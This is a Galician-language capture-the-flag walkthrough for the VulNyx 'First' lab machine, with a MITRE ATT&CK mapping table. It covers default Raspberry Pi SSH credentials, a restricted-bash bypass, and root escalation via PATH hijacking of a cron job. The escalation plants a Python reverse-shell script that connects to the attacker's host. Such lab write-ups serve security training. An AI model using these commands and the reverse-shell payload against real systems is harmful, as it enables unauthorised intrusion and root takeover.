Ir ao contido

Doc vulnyx first

Máquina virtual First

Fig. VulNyx First
Fig. Card VulNyx First

A máquina First é moi interesante porque...

  • Credenciais por defecto de Raspberry Pi (pi/raspberry)
  • Evasión de restricted bash con --noprofile
  • PATH hijacking clásico: /var/www/html no PATH antes que /usr/bin
  • Tarefa cron que executa ping como root cada minuto
  • Escalada vertical mediante manipulación do PATH

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_First -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_First # 22,80
whatweb IP_VulNyx_First
curl -I IP_VulNyx_First

Fase 2 — Análise

# Enumeración de directorios web
dirb http://IP_VulNyx_First

# Directorio descuberto
firefox http://IP_VulNyx_First/[directorio] &
# Texto visible: "Update Raspberry"

# Información recolectada:
# - Sistema: Raspberry Pi
# - Credenciais por defecto comúns en Raspberry Pi: pi/raspberry

Fase 3 — Explotación

# Acceso SSH con credenciais por defecto
ssh pi@IP_VulNyx_First
# Contrasinal: raspberry

# Detectamos restricted bash (rbash)
cd /var/www/html # Funciona parcialmente

# Saída e reacceso con bash sen perfil
exit

# Acceso SSH especificando bash sen perfil para evitar rbash
ssh pi@IP_VulNyx_First -t "bash --noprofile"
# ⇒ Conseguimos consola de usuario pi sen restricións (flag user.txt)

Fase 4 — Post‑explotación

# Verificación de permisos de escritura
ls -ld /var/www/html
# Permisos de escritura para o usuario pi

# Análise de tarefas programadas
cat /etc/crontab
# PATH=/usr/local/sbin:/usr/local/bin:/sbin:/var/www/html:/bin:/usr/sbin:/usr/bin
# * * * * * root ping -c1 raspberrypi.com

# Análise do PATH:
# - /var/www/html está ANTES de /usr/bin no PATH
# - A tarefa cron executa 'ping' como root cada minuto
# - whereis ping → /usr/bin/ping
# - Pero o sistema buscará primeiro en /var/www/html

# Creación de script malicioso chamado 'ping' en /var/www/html
# URL de interese: https://www.revshells.com/
cat > /var/www/html/ping << 'EOF'
#!/bin/bash
export RHOST="IP_Atacante"
export RPORT=4444
python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
EOF

# Permisos de execución
chmod +x /var/www/html/ping

# Preparamos listener no atacante
nc -nlvp 4444

# Esperamos a que cron execute a tarefa (cada minuto)
# ⇒ Obtemos reverse shell de root

# Verificación (na reverse shell)
id # uid=0(root) gid=0(root) grupos=0(root)

# Mellora da TTY shell
script /dev/null -c bash
# Ctrl+Z
stty raw -echo;fg
reset
# Terminal type: xterm
export TERM=xterm
export SHELL=bash

cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: First

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Identificación de sistema Raspberry Pi Fingerprinting / system identification T1592.004 — Gather Victim Host Information: Client Configurations
T1590 — Gather Victim Network Information
CWE-200 — Information Exposure
3. Explotación Acceso SSH con credenciais por defecto Default credentials T1078.001 — Valid Accounts: Default Accounts
T1021.004 — Remote Services: SSH
CWE-798 — Use of Hard-coded Credentials
Evasión de restricted bash mediante --noprofile Shell restriction bypass T1059.004 — Command and Scripting Interpreter: Unix Shell
T1562.004 — Impair Defenses: Disable or Modify System Firewall
CWE-284 — Improper Access Control
4. Post-explotación Análise de /etc/crontab e PATH hijacking Discovery / privilege escalation preparation T1053.003 — Scheduled Task/Job: Cron
T1574.007 — Hijack Execution Flow: Path Interception by PATH Environment Variable
CWE-426 — Untrusted Search Path
Creación de script malicioso en /var/www/html PATH hijacking T1574.007 — Hijack Execution Flow: Path Interception by PATH Environment Variable
T1053.003 — Scheduled Task/Job: Cron
CWE-426 — Untrusted Search Path; CWE-732 — Incorrect Permission Assignment for Critical Resource
Execución de tarefa cron e obtención de shell root Privilege escalation via cron T1053.003 — Scheduled Task/Job: Cron
T1068 — Exploitation for Privilege Escalation
CWE-269 — Improper Privilege Management